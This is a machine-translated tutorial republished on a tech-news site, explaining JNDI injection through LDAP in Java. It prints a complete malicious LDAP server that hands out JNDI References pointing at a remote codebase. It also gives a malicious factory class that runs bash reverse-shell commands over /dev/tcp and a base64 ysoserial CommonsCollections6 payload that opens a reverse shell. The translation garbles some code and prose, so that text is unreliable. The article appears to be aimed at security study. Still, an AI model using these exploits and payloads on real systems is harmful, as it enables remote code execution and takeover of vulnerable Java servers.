In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-23 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article will explain in detail how to learn LDAP in JNDI. The content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.
Basic knowledge
Before entering the LDAP study in JNDI, learn about the relevant knowledge involved.
JAVA model
Serialize object
JNDI References
JNDI References is a Java object like javax.naming.Reference. It consists of an ordered list of class information and addresses about referenced objects. Reference also contains information that helps you create an instance of the object referenced by the reference. It contains the Java class name of the object, as well as the class name and location of the object factory used to create the object. Use the following properties in the directory:
ObjectClass: javaNamingReferencejavaClassName: Records the classname of the serialized object so that applications can determined class information without having to first deserialize theobject.javaClassNames: Additional class information about the serialized object.javaCodebase: Location of the class definitions needed to instantiate the factoryclass.javaReferenceAddress: Multivalued optional attribute for storing referenceaddresses.javaFactory: Optional attribute for storing theobject factory's fully qualified classname.
Marshalled object
Remote Location
LDAP
LDAP (Lightweight Directory Access Protocol) lightweight Directory access Protocol
What is LDAP?
First briefly describe the basic concepts of LDAP, mainly used to access directory service users to connect, query, and update directories on remote servers.
The main distribution of LDAP model is as follows:
Information model Information model is mainly item-Entry, attribute-Attribute, value-value Entry: a node in the directory tree, each Entry describes a real object, namely object class
Named model
Functional model
Security model. These basics can be found in the official documentation of LDAP.
LDAP attack vector LDAP Server
You can build a ldap server before using it. The code comes from mbechler, which has been slightly changed.
Package org.jndildap;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException Import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references** @ author mbechler**/public class LdapSer {private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String [] args) {int port = 1389 X string url = "http://127.0.0.1/#Th4windObject";try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE) Config.setListenerConfigs (new InMemoryListenerConfig ("listen", / / $NON-NLS-1$ InetAddress.getByName ("0.0.0.0"), / / $NON-NLS-1$ port,ServerSocketFactory.getDefault (), SocketFactory.getDefault (), (SSLSocketFactory) SSLSocketFactory.getDefault ()); config.addInMemoryOperationInterceptor (new OperationInterceptor (new URL (url); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println ("Listening on 0.0.0.0:" + port); / / $NON-NLS-1$ ds.startListening () } catch (Exception e) {e.printStackTrace ();}} private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/****/public OperationInterceptor (URL cb) {this.codebase = cb;} / * * {@ inheritDoc} * * @ see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult (com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) * / @ Overridepublic void processSearchResult (InMemoryInterceptedSearchResult result) {String base = result.getRequest (). GetBaseDN (); Entry e = new Entry (base) Try {sendResult (result, base, e);} catch (Exception E1) {e1.printStackTrace ();}} protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL (this.codebase, this.codebase.getRef (). Replace ('.','/'). Concat (".class"); System.out.println ("Send LDAP reference result for" + base + "redirecting to" + turl); e.addAttribute ("javaClassName", "th4wind") String cbstring = this.codebase.toString (); int refPos = cbstring.indexOf ('#'); if (refPos > 0) {cbstring = cbstring.substring (0, refPos);} e.addAttribute ("javaCodeBase", cbstring); e.addAttribute ("objectClass", "javaNamingReference"); / / $NON-NLS-1$ e.addAttribute ("javaFactory", this.codebase.getRef (); result.sendSearchEntry (e); result.setResult (new LDAPResult (0, ResultCode.SUCCESS));}
LDAP stores JAVA objects in the following way:
Java serialization
References of JDNI
Marshalled object
Remote Location
Among them, the ways of matching and utilization are as follows:
Serialization using Java
Using the References object reference of JDNI
LDAP can provide a variety of properties for the JAVA objects stored in it. For more information, please refer to the official description, some of which are as follows
When using JNDI References, javaCodebase is mainly used here to specify the remote url, which contains malicious class and deserialization triggers in JNDI.
When using the Java serialization method directly, the javaSerializedData property is used. When the value value of the property is not empty, the value is deserialized, and can be triggered when there is a local deserialization utilization chain.
JNDI Reference
The attack process is as follows: borrow the diagram of BlackHat2016
1. The attacker provides a url of the absolute path of LDAP and assigns it to the lookup method of the available JNDI. Here, directly deploy a LDAP Client to simulate the attacked server application, as shown below:
String uri = "ldap://127.0.0.1:1389/Th4windObject"; Context ctx = new InitialContext (); ctx.lookup (uri)
2. The server accesses the LDAP Server side constructed or controlled by the attacker and requests the malicious JNDI Reference
Construct JNDI Reference my understanding is that the JNDI Reference here is the jndiReferenceEntry according to the information model mentioned earlier, and the constructed JNDI Reference here is the construction Entry, that is, the
Entry e = new Entry (base); .e.addAttribute ("javaClassName", "th4wind"); e.addAttribute ("javaCodeBase", cbstring); e.addAttribute ("objectClass", "javaNamingReference"); / / $NON-NLS-1$ e.addAttribute ("javaFactory", this.codebase.getRef ())
Request JNDI Reference
In the attacked server, you can request JNDI Reference directly with lookup, but let's follow up here to see which part of the code in lookup requests and uses
After lookup obtains the Entry, pass the parameters all the way to c_lookup:
Initiate a request for the incoming url in doSearchOnce to get the corresponding Entry
Similarly, when it is judged that javaclassname and javaNamingReference are not empty in the c_lookup, decodeObject processing is performed.
Generate a new reference in decodeObject, and then load and execute the malicious class file through Naming Manager. The rest of the content is the calling logic of JNDI, which has little to do with LDAP. We will not discuss it here. The flow chart is as follows:
3. The malicious JNDI Reference4 requested by the server decode, the malicious Server request constructed by the server from the attacker and instantiated Factory class, that is, the Th4windObject under the http request opened here
Import java.lang.Runtime;import java.lang.Process;public class Th4windObject {public Th4windObject () {try {Runtime rt = Runtime.getRuntime (); / / Runtime.getRuntime (). Exec ("bash-I > & / dev/tcp/127.0.0.1/8550 0 > & 1"); / / String [] commands = {"/ bin/bash", "- c", "'/ bin/bash-I > & / dev/tcp/127.0.0.1/8550 0 > & 1'"} String [] commands = {"/ bin/bash", "- c", "exec 5 Exception argv 127.0.0.1 commands commands & 5 > & amp5; done"}; Process pc = rt.exec (commands); / / System.out.println (commands); pc.waitFor ();} catch (Exception e) {e.printStackTrace (); System.out.println ("2222");} public static void main (String [] argv) {Th4windObject e = new Th4windObject ();}}
5. Execute payloads
Remote Location
This method is not commonly used, so I won't discuss it here.
Serialized Object
There are two ways that JNDI handles serialization in Entry attributes transmitted over LDAP
One is the decodeObject's handling of the javaSerializedData attribute mentioned earlier.
One is that the decodeReference function can further restore RefAddress on the basis of the ordinary Reference reduction.
JavaSerializedData
As mentioned earlier, if javaSerializedData is not empty, decodeObject deserializes the corresponding fields. That is, this attribute is added to the malicious LDAP Server side here.
E.addAttribute ("javaSerializedData", Base64.decode ("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh5"))
Out of laziness, the payload here directly uses ysoserial.jar to generate the CommonsCollections6 here using CommonsCollections6, that is, the local deserialization vulnerability exploit chain mentioned earlier, so you have to import commons-collections locally in the called LDAPClient. I am using version 3.2.1 here.
Through this utilization method, there is no malicious web service, and the attack diagram is as follows:
The attacker provides a url of the LDAP absolute path and assigns it to the lookup method of the available JNDI
The server accesses the LDAP Server side constructed or controlled by the attacker and requests a malicious JNDI Reference
Malicious JNDI Reference requested by server decode and deserialized in decode
The call chain is as follows:
JavaReferenceAddress
Let's start with a picture of the call chain.
In this invocation mode, the property that can be used for deserialization is javaReferenceAddress,payload:
E.addAttribute ("javaReferenceAddress", "1$ String$$" + new BASE64Encoder () .encode (serialized))
When Reference decodeReference processes this attribute, there are conditional requirements for processing strings: first, javaSerializedData is required to be empty; secondly, javaRemoteLocation is required to be empty.
The requirements for string processing in decodeReference are as follows: required attributes:
JavaClassNamejavaReferenceAddress
Verify whether javafactory exists
The processing flow for javaReferenceAddress is as follows:
The first character is a delimiter
Between the first delimiter and the second delimiter, the position of Reference is of type int, that is, the position must be a number
The second delimiter and the third delimiter indicate the type type
Check whether there is a fourth delimiter in the form of a double delimiter after the third delimiter, and if so, enter the deserialization operation
Serialized data is encoded in base64, so base64 decoding is performed before serialization.
On how to learn LDAP in JNDI to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.